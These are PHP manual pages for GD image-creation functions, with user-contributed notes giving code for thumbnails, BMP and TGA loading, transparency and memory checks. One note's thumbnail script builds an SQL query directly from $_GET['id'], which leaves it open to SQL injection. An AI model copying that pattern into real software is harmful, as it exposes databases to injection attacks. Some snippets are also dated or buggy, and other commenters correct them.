passthru($gnuplot_call, $gnuplot_call_output);
$image = imagecreatefromstring(ob_get_contents());
ob_end_clean();
imagepng($image); # display
?>
junkmail at pmobl dot com 25-Feb-2006 11:37
I know a lot of people have been having trouble using images from the Sprint PPC6700 with GD.  The jpeg library always thows an error about 16 bytes of extraneous data.  I decided to poke around in a hex editor and found those extraneous bytes occur right at the end of the exif data.

By removing this extraneous data, images can easily be manipulated by GD and the EXIF extension as a normal images.  This also removes any problems using the images with GIMP which must rely on the same jpeg libraries.

Here is a function that will check to see if an image is from the PPC6700 and then remove the extraneous data for you.  The result can successully be used with imagecreatefromstring

Author: Paul Visco
IM: paulsidekick
Created: 2-12-06

function checkFixPPC6700($orig){

    //get the file contents
    $data = file_get_contents($orig);

    //if its a PPC 6700 image cut out the extraneous 16 bits
    if(strstr($data, "\x41\x70\x61\x63\x68\x65\x00\x48")){
//this next line can all be one string I split it up so the form on php.net would accept it
        $bad_data ="\x00\x10\x4A\x46" . "\x49\x46\x00\x01\x01" . "\x00\x00\x01\x00\x01\x00\x00";
        return substr_replace($data, "", strpos($data, $bad_data),
        strlen($bad_data));
    } else {
        //if not from a PPC 6700 return data unaltered
         return $data;
    }

}
kakail at aei dot ca 27-Nov-2005 03:07
I found out that in PHP 4.3.2 and 4.3.4 that the 'imagecreatefromstring' function use a lot of memory when working with big image...
Try this piece of code with a big image (like 1Meg or more)
<?php
$loadFile = "http://bigimage.jpg";//Try with a big image
$im = imagecreatefromstring(file_get_contents($loadFile));
imagejpeg($im);
?>

With a 400k image. I run with a 16M Mem_limit but for a 1.4M image, the mem_limit required jump to more that 32M
alexandrebr at ignorethis dot gmail dot com 29-Aug-2005 02:08
An easy example to help understanding this function...

<?
$loadFile = "http://static.php.net/images/php.gif";

$im = imagecreatefromstring(file_get_contents($loadFile));
// identical to imagecreatefromgif($loadFile);
imagegif($im);
?>

The function will try to auto-determine file format (jpg, gif, png....), and will return false if fails.
paul at epeeps dot net 26-Jul-2005 04:39
I run a blogging site that allowed users to publish images from their cell phones.  For some reason, the nokia 3220 produces jpegs with extrandeous data before the EOF 0xFFF9

I wrote this class to allow you to fix the images so that they can be used with GD to resize and manipulate.  Without applying the fix both GD and gimp report errors for the file.  If basically keeps eating bytes from the junk part till the file is a valid jpeg.  Here is an example bunk pic written by a nokia 3220 that you cna test it with http://www.shawnrider.com/moblog/cache/0854747001121624103.jpg

/*
Author: Paul Visco
Hompage: http://www.elmwoodstrip.com?u=paul
AIM: paulsidekick
Notes:  The file allows you fix the jpegs created by the Nokia 3220 picture phone so that they can be manipulated using the GD library with PHP.

Usage:  Simply instanitiate the class and then call the fix method for each image.
e.g.
$nokia = new nokia;
$nokia->debug ="y";
$nokia->fix("yourpic.jpg");
*/

class nokia
{
    public $file;
    public $debug = "n";
    public $dir_name = "";
    private $img; //the image created from the string
    private $str;

    function fix($file)
    {

        //set the file to fix
        $this->file = $file;

        //load the file into a string
        $this->str = file_get_contents($this->file);

        //test to see if it is a nokia image or if it has been corrupted previously
        if (substr_count($this->str, chr(0x28).chr(0x36).chr(0x28).chr(0x2B)) == 0 || @imagecreatefromstring($this->str))
        {
            if ($this->debug =="y")
            {
                echo "\n<br />".$this->file." is not a corrupted Nokia pic";
            }

            return true;
        }

        //make a directory for fixed images if it doesn't exist and is specified
        if(!empty($this->dir_name) && !is_dir($this->dir_name))
        {
            @mkdir($this->dir_name, 0777);
        }

        //strip out the funk e crap from the file
        $this->eat($this->str);

        //write the file back to itself
        file_put_contents($this->dir_name.$this->file, $this->str);

        //return true for fixed
        return true;

    }

    function eat()
    {

        //check the image
        $this->img = @imagecreatefromstring($this->str);

        //if the image doesn't work then keep striping out crap
        while(!$this->img)
        {
            //cut off the bad bytes one by one
            $this->str= substr_replace($this->str, "", -3, -2);

            //check the image again
            $this->img = @imagecreatefromstring($this->str);
        }

        if ($this->debug =="y")
        {
            //notify the user it's fixed
            echo "\n<br />Nasty bits eaten!! ".$this->file." is fixed now thanks to p:labs!";
        }
        return true;
    }

}
not given 03-Aug-2003 11:14
A note to the previous question (if you still don't know it :))...

GIF's are 256 colors (or 8 bit), and the resample function needs true color I guess... that's why it works with JPG's and not with GIF's.

Next thing... you take a string, write it to file, open the file (imagecreatefromgif), and delete the file again.

if you do imagecreatefromstring($string) you can skip the temporary file part.
shiehj at yahoo dot com 12-Apr-2003 06:44
Here is the code I did to create a thumbnail image from the database blob field. The trick is to use "imagecreatefromstring()" to create an image file.

Jack Shieh

<?php
require("dbconfig.inc");

$id = $_GET['id'];

if($id) {

    $link = @mysql_connect($host, $user, $password) or die("Could not connect: " . mysql_error());
    @mysql_select_db($dbname, $link);

    $query = "select filetype, image from pictures where id = $id";
    $result = @mysql_query($query);

    $data = @mysql_result($result,0,"image");
    $type = @mysql_result($result,0,"filetype");

    Header( "Content-type: $type");

    $size = 150;  // new image width
    $src = imagecreatefromstring($data);
    $width = imagesx($src);
    $height = imagesy($src);
    $aspect_ratio = $height/$width;

    if ($width <= $size) {
      $new_w = $width;
      $new_h = $height;
    } else {
      $new_w = $size;
      $new_h = abs($new_w * $aspect_ratio);
    }

    $img = imagecreatetruecolor($new_w,$new_h);
    imagecopyresized($img,$src,0,0,0,0,$new_w,$new_h,$width,$height);

    // determine image type and send it to the client
    if ($type == "image/pjpeg") {
      imagejpeg($img);
    } else if ($type == "image/x-png") {
      imagepng($img);
    } else if ($type == "image/gif") {
      imagegif($img);
    }
    imagedestroy($img);
    mysql_close($link);
};
?>
adrian_schmidt at yahoo dot com 06-Mar-2003 01:04
I'm trying to get the imagecreatefromstring to work with GIFs. Of course, it won't.
I've read the tips but can't get them to work either.
The following is what I tried, based on above tips:

---

    header('Content-Type: image/gif');
    header('Content-Disposition: inline; filename=file.gif');

    $temp = tmpfile();
    fwrite($temp, $line['image']);
    $src_img = imagecreatefromgif($temp);
    fclose($temp); // this removes the file
    $dst_img = imagecreatetruecolor(100, 100);
    imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

    imagegif($dst_img);

---

where $line['image'] is the gif as taken from my MySQL database...

If anyone that has been able to make something like this work could give me a working piece of code I'd be really greatful!

I would be great if the tempfile could be excluded too...

Below is a working piece of code for jpeg:

---

    header('Content-Type: image/jpeg');
    header('Content-Disposition: inline; filename=file.jpg');

    $src_img = imagecreatefromstring($line['image']);
    $dst_img = imagecreatetruecolor(100, 100);
    imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

    imagejpeg($dst_img);


Create a new image from file or URL

  • « imagecreatefromstring
  • imagecreatefromwebp »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from file or URL

imagecreatefromwbmp

(PHP 4 >= 4.0.1, PHP 5)

imagecreatefromwbmp — Create a new image from file or URL

Description

resource imagecreatefromwbmp ( string $filename )

imagecreatefromwbmp() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the WBMP image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Example to handle an error during loading of a WBMP

<?php
function LoadWBMP($imgname)
{
    /* Attempt to open */
    $im = @imagecreatefromwbmp($imgname);

    /* See if it failed */
    if(!$im)
    {
        /* Create a blank image */
        $im  = imagecreatetruecolor(150, 30);
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);

        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

        /* Output an error message */
        imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/vnd.wap.wbmp');

$img = LoadWBMP('bogus.image');

imagewbmp($img);
imagedestroy($img);
?>

Notes

Note: WBMP support is only available if PHP was compiled against GD-1.8 or later.

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

php at webdecker dot de 28-Jan-2010 12:05
To get the horizontal and vertical resolution you could add some lines to the previous code of alexander. BMP stores the resolution in pixels per meter. To get it as pixels per inch (dpi) you have to multiply the value by 0.0254.

<?php
    public function imagecreatefrombmp($p_sFile)
    {
            // ...
            // ... insert after the lines where you get width and height...

            //    Get the horz. resolution in pixel per meter, 4 bytes
            $dpix = hexdec($header_parts[39]. $header_parts[38]) * 0.0254;

            //    Get the vert. resolution in pixel per meter, 4 bytes
            $dpiy = hexdec($header_parts[43]. $header_parts[42]) * 0.0254;

            // ... rest of the code...

            return ($image, $dpix, $dpiy);
    }
?>
alexander at alexauto dot nl 08-Oct-2008 01:59
AeroX created a nice example, but it only works at specific imagesizes because bmp uses fully 32-bit lines. To prevent failures (different colors, pixel-shifting per line), the solution is to skip the padding, inserted after color-pixels on the line. His implementation did cutting the padding into the image-data, causing wrong colors, pixel-shifting per line and also an large memory-consumption.

I improved this script to the next implementation. The readability of a image is checked by a other function, so it doesn't take part in this script.
Suggestions? Please let me know.

<?php
    public function imagecreatefrombmp($p_sFile)
    {
        //    Load the image into a string
        $file    =    fopen($p_sFile,"rb");
        $read    =    fread($file,10);
        while(!feof($file)&&($read<>""))
            $read    .=    fread($file,1024);

        $temp    =    unpack("H*",$read);
        $hex    =    $temp[1];
        $header    =    substr($hex,0,108);

        //    Process the header
        //    Structure: http://www.fastgraph.com/help/bmp_header_format.html
        if (substr($header,0,4)=="424d")
        {
            //    Cut it in parts of 2 bytes
            $header_parts    =    str_split($header,2);

            //    Get the width        4 bytes
            $width            =    hexdec($header_parts[19].$header_parts[18]);

            //    Get the height        4 bytes
            $height            =    hexdec($header_parts[23].$header_parts[22]);

            //    Unset the header params
            unset($header_parts);
        }

        //    Define starting X and Y
        $x                =    0;
        $y                =    1;

        //    Create newimage
        $image            =    imagecreatetruecolor($width,$height);

        //    Grab the body from the image
        $body            =    substr($hex,108);

        //    Calculate if padding at the end-line is needed
        //    Divided by two to keep overview.
        //    1 byte = 2 HEX-chars
        $body_size        =    (strlen($body)/2);
        $header_size    =    ($width*$height);

        //    Use end-line padding? Only when needed
        $usePadding        =    ($body_size>($header_size*3)+4);

        //    Using a for-loop with index-calculation instaid of str_split to avoid large memory consumption
        //    Calculate the next DWORD-position in the body
        for ($i=0;$i<$body_size;$i+=3)
        {
            //    Calculate line-ending and padding
            if ($x>=$width)
            {
                //    If padding needed, ignore image-padding
                //    Shift i to the ending of the current 32-bit-block
                if ($usePadding)
                    $i    +=    $width%4;

                //    Reset horizontal position
                $x    =    0;

                //    Raise the height-position (bottom-up)
                $y++;

                //    Reached the image-height? Break the for-loop
                if ($y>$height)
                    break;
            }

            //    Calculation of the RGB-pixel (defined as BGR in image-data)
            //    Define $i_pos as absolute position in the body
            $i_pos    =    $i*2;
            $r        =    hexdec($body[$i_pos+4].$body[$i_pos+5]);
            $g        =    hexdec($body[$i_pos+2].$body[$i_pos+3]);
            $b        =    hexdec($body[$i_pos].$body[$i_pos+1]);

            //    Calculate and draw the pixel
            $color    =    imagecolorallocate($image,$r,$g,$b);
            imagesetpixel($image,$x,$height-$y,$color);

            //    Raise the horizontal position
            $x++;
        }

        //    Unset the body / free the memory
        unset($body);

        //    Return image-object
        return $image;
    }
?>
AeroX @ aerox-studios 11-May-2008 11:54
.bmp is just hex encoded RGB values.
All you need to do is open in binary mode and seperate the header from the body.
Decode the width and height from the header.
Then create the image pixel by pixel from the RGB values in the body.

function imagecreatefrombmp( $filename )
{
    $file = fopen( $filename, "rb" );
    $read = fread( $file, 10 );
    while( !feof( $file ) && $read != "" )
    {
        $read .= fread( $file, 1024 );
    }
    $temp = unpack( "H*", $read );
    $hex = $temp[1];
    $header = substr( $hex, 0, 104 );
    $body = str_split( substr( $hex, 108 ), 6 );
    if( substr( $header, 0, 4 ) == "424d" )
    {
        $header = substr( $header, 4 );
        // Remove some stuff?
        $header = substr( $header, 32 );
        // Get the width
        $width = hexdec( substr( $header, 0, 2 ) );
        // Remove some stuff?
        $header = substr( $header, 8 );
        // Get the height
        $height = hexdec( substr( $header, 0, 2 ) );
        unset( $header );
    }
    $x = 0;
    $y = 1;
    $image = imagecreatetruecolor( $width, $height );
    foreach( $body as $rgb )
    {
        $r = hexdec( substr( $rgb, 4, 2 ) );
        $g = hexdec( substr( $rgb, 2, 2 ) );
        $b = hexdec( substr( $rgb, 0, 2 ) );
        $color = imagecolorallocate( $image, $r, $g, $b );
        imagesetpixel( $image, $x, $height-$y, $color );
        $x++;
        if( $x >= $width )
        {
            $x = 0;
            $y++;
        }
    }
    return $image;
}
clambert at whitecrown dot net 16-Jun-2001 10:47
WBMP images are Wireless Bitmaps, not Windows Bitmaps. WBMP is used for bandwidth constrained, black and white, limited devices such as PDAs and Cell Phones.


Create a new image from file or URL

  • « imagecreatefromwbmp
  • imagecreatefromxbm »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from file or URL

imagecreatefromwebp

(PHP 5 >= 5.5.0)

imagecreatefromwebp — Create a new image from file or URL

Description

resource imagecreatefromwebp ( string $filename )

imagecreatefromwebp() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the WebP image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Convert an WebP image to a jpeg image using imagecreatefromwebp()

<?php
// Load the WebP file
$im = imagecreatefromwebp('./example.webp');

// Convert it to a jpeg file with 100% quality
imagejpeg($im, './example.jpeg', 100);
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


Create a new image from file or URL

  • « imagecreatefromwebp
  • imagecreatefromxpm »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from file or URL

imagecreatefromxbm

(PHP 4 >= 4.0.1, PHP 5)

imagecreatefromxbm — Create a new image from file or URL

Description

resource imagecreatefromxbm ( string $filename )

imagecreatefromxbm() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the XBM image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Convert an XBM image to a png image using imagecreatefromxbm()

<?php
// Load the xbm file
$xbm = imagecreatefromxbm('./example.xbm');

// Convert it to a png file
imagepng($xbm, './example.png');
imagedestroy($xbm);
?>

Notes

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

There are no user contributed notes for this page.


Create a new image from file or URL

  • « imagecreatefromxbm
  • imagecreatetruecolor »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from file or URL

imagecreatefromxpm

(PHP 4 >= 4.0.1, PHP 5)

imagecreatefromxpm — Create a new image from file or URL

Description

resource imagecreatefromxpm ( string $filename )

imagecreatefromxpm() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the XPM image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Creating an image instance using imagecreatefromxpm()

<?php
// Check for XPM support
if(!(imagetypes() & IMG_XPM))
{
    die('Support for xpm was not found!');
}

// Create the image instance
$xpm = imagecreatefromxpm('./example.xpm');

// Do image operations here

// PHP has no support for writing xpm images
// so in this case we save the image as a
// jpeg file with 100% quality
imagejpeg($xpm, './example.jpg', 100);
imagedestroy($xpm);
?>

Return Values

Note: This function is not implemented on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


Create a new true color image

  • « imagecreatefromxpm
  • imagecrop »
  • PHP Manual
  • GD and Image Functions
  • Create a new true color image

imagecreatetruecolor

(PHP 4 >= 4.0.6, PHP 5)

imagecreatetruecolor — Create a new true color image

Description

resource imagecreatetruecolor ( int $width , int $height )

imagecreatetruecolor() returns an image identifier representing a black image of the specified size.

Depending on your PHP and GD versions this function is defined or not. With PHP 4.0.6 through 4.1.x this function always exists if the GD module is loaded, but calling it without GD2 being installed PHP will issue a fatal error and exit. With PHP 4.2.x this behaviour is different in issuing a warning instead of an error. Other versions only define this function, if the correct GD version is installed.

Parameters

width

Image width.

height

Image height.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Creating a new GD image stream and outputting an image.

<?php
header ('Content-Type: image/png');
$im = @imagecreatetruecolor(120, 20)
      or die('Cannot Initialize new GD image stream');
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);
imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : Creating a new GD image stream and outputting an image.

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagedestroy() - Destroy an image
  • imagecreate() - Create a new palette based image

User Contributed Notes

smcjones at gmail dot com 19-May-2014 05:51
Please note that if you are receiving a warning about incorrect dimensions in PHP, it could be because your values are being stored as strings. You can use intval() to change a string value into an integer value which will pass the correct information into this function.
jessiedeer at hotmail dot com 25-Aug-2013 02:47
There is no need to allocate colors with imagecreatetruecolor. All [256 x 256 x 256 x 128] true colors are already allocated, and you can use the color indexes directly.

Examples :
Blue => color index 255.
White => color index 16777215 (= 255*256² + 255*256+255).
Full transparent => color index 2130706432 (= 127*256^3).
arthur at kuhrmeier dot com 27-Aug-2010 05:38
HOW THE CHECK THE MEMORY BEFORE CREATING AN IMAGE?

I worked on a script where I delt with large images. Very often the error "out of memory" occured. So I had to figure out, how to check the memory BEFORE creating an image. I didn't find a solution on the web, so I ran my own test script. It built lots of images to compute the needed memory. I found out, that the formula mem = x * y * channel was not enough. There was an additional multiplier that varied. As a result 1.7 worked best. So the formula is: mem = x * y * channel * 1.7.

I post this script here hoping it is useful to someone who will run into the same problems.

<?php
//-------------------------------------------------- DEFINE MAXMEM
define ("MAXMEM", 32*1024*1024);  //--- memory limit (32M) ---

//-------------------------------------------------- ENOUGH MEMORY ?
function enoughmem ($x, $y, $rgb=3) {
    return ( $x * $y * $rgb * 1.7 < MAXMEM - memory_get_usage() );
}

//-------------------------------------------------- SIMPLE EXAMPLE
list ($x, $y) = @getimagesize ('your_img.jpg');  //--- get size of img ---
if (enoughmem($x,$y)) {
    $img = @imagecreatefromjpeg ('your_img.jpg');  //--- open img file ---
    $thumb = 200;  //--- max. size of thumb ---
    if ($x > $y) {
        $tx = $thumb;  //--- landscape ---
        $ty = round($thumb / $x * $y);
    } else {
        $tx = round($thumb / $y * $x);  //--- portrait ---
        $ty = $thumb;
    }
    if (enoughmem($tx,$ty)) {
        $thb = imagecreatetruecolor ($tx, $ty);  //--- create thumbnail ---
        imagecopyresampled ($thb,$img, 0,0, 0,0, $tx,$ty, $x,$y);
        imagejpeg ($thb, 'your_thumbnail.jpg', 80);
        imagedestroy ($thb);
    }
    imagedestroy ($img);
}

//--------------------------------------------------
//--- to check the memory working with           ---
//--- b/w-image or gif use:                      ---
//--------------------------------------------------
$check = enoughmem ($x, $y, 1);
?>

Taking the opportunity, I thank everyone here at php.net for the great manual and the useful user scripts.
hemjesti at yahoo dot com 28-May-2009 11:07
I put this together - combining two of the examples and then generated the text dynamically. but, with this set up, i was able to get the transparent background working as well.

<?php
// Set the content-type

header('Content-type: image/png');

// Create the image
$im = imagecreatetruecolor(175, 15);
imagesavealpha($im, true);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 150, 25, $black);
$trans_colour = imagecolorallocatealpha($im, 0, 0, 0, 127);
imagefill($im, 0, 0, $trans_colour);

// The text to draw
$text = $_GET['text'];
// Replace path by your own font path
$font = 'catriel regular.ttf';

// Add some shadow to the text
imagettftext($im, 9, 0, 13, 16, $black, $font, $text);

// Add the text
imagettftext($im, 9, 0, 12, 15, $white, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
weareexit at yahoo dot co dot uk 10-Mar-2008 12:51
If you want to place an image on a larger canvas you've previously created with imagecreatetruecolor(), but you don't want the default black background to surround it: use imagefill() AFTER imagecopyresampled().

I have no idea why this should be the case, but it works!
Richard Davey rich at corephp dot co dot uk 23-May-2007 01:50
If you want to create a *transparent* PNG image, where the background is fully transparent, and all draw operations happen on-top of this, then do the following:

<?php
    $png = imagecreatetruecolor(800, 600);
    imagesavealpha($png, true);

    $trans_colour = imagecolorallocatealpha($png, 0, 0, 0, 127);
    imagefill($png, 0, 0, $trans_colour);

    $red = imagecolorallocate($png, 255, 0, 0);
    imagefilledellipse($png, 400, 300, 400, 300, $red);

    header("Content-type: image/png");
    imagepng($png);
?>

What you do is create a true colour image, make sure that the alpha save-state is on, then fill the image with a colour that has had its alpha level set to fully transparent (127).

The resulting PNG from the code above will have a red circle on a fully transparent background (drag the image into Photoshop to see for yourself)
phpnet at sjeiti dot com 06-Feb-2007 11:32
Just a small rectification for the msg by '
thomas dot urban at toxa dot de' (23-May-2006 03:28) about transparency.
Line 3 in the example returns a 'wrong parameter warning': 'imagecolorallocate' should be replaced by 'imagecolorallocatealpha'.
(You better just alter that note and delete this one.)
behun at webconsult dot sk 27-Aug-2006 10:54
imagecreatetruecolor() returns not only image identifier representing a black image of size x_size by y_size.

imagecreatetruecolor() is called to create truecolor images, with an essentially unlimited number of colors (also not only 256 colors).
Florin [ florin.at.flachi.dot.net ] 21-Jul-2006 11:52
A very simple and efficient way to create RGB color from hexadecimal (HTML) notation:

<?php

    function color_hex2dec ($color) {
        return array (hexdec (substr ($color, 0, 2)), hexdec (substr ($color, 2, 2)), hexdec (substr ($color, 4, 2)));
    }

    list ($r, $g, $b) = color_hex2dec ('FFEECC');

?>
j.fenin _At_ seekport [d0t] biz 11-Jul-2006 06:09
I had a strange bug occurring under Debian Linux with PHP5.

In file B (where I create the image) I included a file (file A). The image that was produced was always corrupt. When I did not include file A, everything was fine.

After 2 hours of searching I found that there were some extra spaces and linefeeds after the PHP closing tag ?> in file A. After removing those chars, everything works fine again.

Obviously those extra bytes of file A were added to the image and corrupted it.
d dot duquenoy at kdland dot org 01-Jun-2006 10:26
My function to know how much bytes imagecreate or imagecreatetruecolor require before using it.
<?php
function getNeededMemoryForImageCreate($width, $height, $truecolor) {
  return $width*$height*(2.2+($truecolor*3));
}
?>
thomas dot urban at toxa dot de 23-May-2006 03:28
This is another approach to get an initially transparent truecolor canvas and in comparison to the one below it does not declare black to be transparent (which might be okay on indexed-color images and unless you want to draw in black) ...

$im = imagecreatetruecolor( $w, $h );
imagealphablending( $im, false );
$col = imagecolorallocate( $im, 0, 0, 0, 127 );
imagefilledrectangle( $im, 0, 0, $w, $h, $col );
imagealphablending( $im, true );

Without disabling blending mode this would paint transparent rectangle over current background thus not changing anything. Nevertheless blending mode is required e.g. to get proper results from using imagettftext ... that's why it is enabled after filling, again.

Don't miss to disable blending mode and enable savealpha prior to generating a PNG ...

imagealphablending( $im, false );
imagesavealpha( $im, true );
imagepng( $im );
send at mail dot 2aj dot net 25-Jun-2005 04:40
If you want a simple way to mirror images, use the function I've included below.

<?php
function image_mirror ($input_image_resource)
{
    $width = imagesx ( $input_image_resource );
    $height = imagesy ( $input_image_resource );
    $output_image_resource = imagecreatetruecolor ( $width, $height );
    $y = 1;

    while ( $y < $height )
    {
        for ( $i = 1; $i <= $width; $i++ )
            imagesetpixel ( $output_image_resource, $i, $y, imagecolorat ( $input_image_resource, ( $i ), ( $height - $y ) ) );
        $y = $y + 1;
    }

    return $output_image_resource;
}
?>
Example Usage:
<?php

// A good use of this is when a user uploads a TGA file,
// on the completion screen show the image and have a link
// that asks if the image appears mirrored, and if so
// that link will execute these commands below.

// I suggest checking $HTTP_REFERER for security.

// $_GET['file'] in this case would be something along the lines
// of johndoe-img0001 (Basename is necessary to prevent
// abuse of this script!)

if ( isset( $_GET['file'] ) )
{
    $filename = "./" . basename ( $_GET['file'] ) . ".jpg";
// Making the image resource that needs to be mirrored
// Taking it from a previously exported to JPEG file.
    $output_resource_image = image_mirror ( imagecreatefromjpeg ( $filename ) );
    if ( imagejpeg ( $output_resource_image, $filename, 75 ) )
        echo "Image resaved successfully";
    else
        echo "Image couldn't be written over (Check permissions)!";
}
?>
21-Jun-2005 12:17
// Creates a transparent image rather than the default black image
function imageCreateTransparent($x, $y) {
    $imageOut = imagecreate($x, $y);
    $colourBlack = imagecolorallocate($imageOut, 0, 0, 0);
    imagecolortransparent($imageOut, $colourBlack);
    return $imageOut;
}
send at mail dot 2aj dot net 21-Jun-2005 03:20
Thanks to OverFlow636 at gmail dot com and kuya1284 at techie dot com for their original coding which this function is based upon.

PHP lacks an imagecreatefromtga function, so I have prepared a simple function to include in your library if you deal with TGA images. In addition to creating an image from TGA, it also, optionally, will output an array with the dimensions of the image because getimagesize() does not function with TGA files.

Hopefully this function will eventually be unneeded if GD is ever updated to support the TGA format.

Please keep in mind that TGA's come in many different compressions, color settings, and as a result this function will not work 100% of the time. Resulting images will fit the symptoms kuya1284 at techie dot com mentioned, and as a result you may need to create a second function. Keep in mind that using her code causes the "mirror" effect on images that load properly with the following function.

<?php
function imagecreatefromtga ( $filename, $return_array = 0 )
{
    $handle = fopen ( $filename, 'rb' );
    $data = fread ( $handle, filesize( $filename ) );
    fclose ( $handle );

    $pointer = 18;
    $x = 0;
    $y = 0;
    $w = base_convert ( bin2hex ( strrev ( substr ( $data, 12, 2 ) ) ), 16, 10 );
    $h = base_convert ( bin2hex ( strrev ( substr ( $data, 14, 2 ) ) ), 16, 10 );
    $img = imagecreatetruecolor( $w, $h );

    while ( $pointer < strlen ( $data ) )
    {
        imagesetpixel ( $img, $x, $y, base_convert ( bin2hex ( strrev ( substr ( $data, $pointer, 3 ) ) ), 16, 10 ) );
        $x++;

        if ($x == $w)
        {
            $y++;
            $x=0;
        }

        $pointer += 3;
    }

    if ( $return_array )
        return array ( $img, $w, $h );
    else
        return $img;
}
?>

Example Usage

<?php
// Get the image & its dimensions
$array = imagecreatefromtga("source_image.tga",1);

// the image ( resource image )
$image = $array[0];

// its dimensions ( integers )
$dimensions['width'] = $array[1];
$dimensions['height'] = $array[2];

// Delete the image resource array entry to free memory
imagedestroy($array[0]);
?>

The second variable, $return_array is optional. If you simply want to load a TGA, leave the variable off the function's call as such:
<?
// Return the resource image alone
$resource_image = imagecreatefromtga ( "source_image.tga" );

// Declare the content-type as a JPEG image.
header ( 'Content-type: image/jpeg' );

// Convert the image to JPEG for smaller file size and compatability
imagejpeg ( $resource_image, NULL, 100 );
imagedestroy ( $resource_image );
?>
kuya1284 at techie dot com 27-Feb-2005 08:48
OverFlow636,

It appears that your code was causing TGA's to be inverted horizontally and upside down.  I modified your code accordingly. The sample below is an example of what I did to convert a tga to jpg. The for loop was taken from the comment below (Eric Mulders) to properly render the image.

Nice job with the code buddy.

function tga2jpg ($image)
{
    $handle = fopen($image, "rb");
    $data = fread($handle, filesize($image));
    fclose($handle);

    $pointer = 18;
    $w = fileint (substr ($data, 12, 2));
    $h = fileint (substr ($data, 14, 2));
    $x = 0;
    $y = $h;

    $img = imagecreatetruecolor($w, $h);

    while ($pointer < strlen($data))
    {
        imagesetpixel ($img, $x, $y, fileint (substr ($data, $pointer, 3)));

        $x++;

        if ($x == $w)
        {
            $y--;
            $x = 0;
        }

        $pointer += 3;
    }

    for($a = 0; $a < imagecolorstotal ($img); $a++)
    {
        $color = imagecolorsforindex ($img, $a);

        $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
        $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
        $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);

        imagecolorset ($img, $a, $R, $G, $B);
    }

    imagejpeg ($img, 'test.jpg', 100);
    imagedestroy ($img);
}

function fileint($str)
{
    return base_convert (bin2hex (strrev ($str)), 16, 10);
}

tga2jpg ('test.tga');
OverFlow636 at gmail dot com 14-Dec-2004 09:14
i dont know if there was an easyer way to do this, but heres my code to convert a .tga image to whatever you want to output it as
it works with basic tga files only

<?
$handle = fopen("xxx.tga","rb");
$data = fread($handle,filesize("xxx.tga"));
fclose($handle);
$pointer = 18;
$x = 0;
$y = 0;
$w = fileint(substr($data,12,2));
$h = fileint(substr($data,14,2));
$img = imagecreatetruecolor($w,$h);

while ($pointer < strlen($data))
{
imagesetpixel($img, $x,$y,fileint(substr($data,$pointer,3)));
$x++;

if ($x==$w)
{
$y++;
$x=0;
}

$pointer += 3;
}

header("Content-type: image/jpeg");
imagepng($img);
imagedestroy($img);

function fileint($str)
{
  return base_convert(bin2hex(strrev($str)),16,10);
}
?>
termian 05-Dec-2004 01:59
kai wrote:
//using imagecolorallocate to specify the image's background
//color does not work with truecolor-image.
//
//instead you have to use imagefill to force flood-filling the
//image with the backgorund-color previously allocated:
//
//$bgColor = imagecolorallocate($img, 255,255,255);
//imagefill($img , 0,0 , $bgColor);

even this doesn't work for my configuration - fedora core2, php 4.3.8 + gd bundled (2.0.23 compatible) and I have to do this:
$img = imagecreatetruecolor($x, $y);
$bgColor = imagecolorallocate($img, 255,255,255);
imagefilledrectangle($img, 0, 0, $x-1, $y-1, $bgColor);
kai at meder dot info 07-Oct-2004 06:20
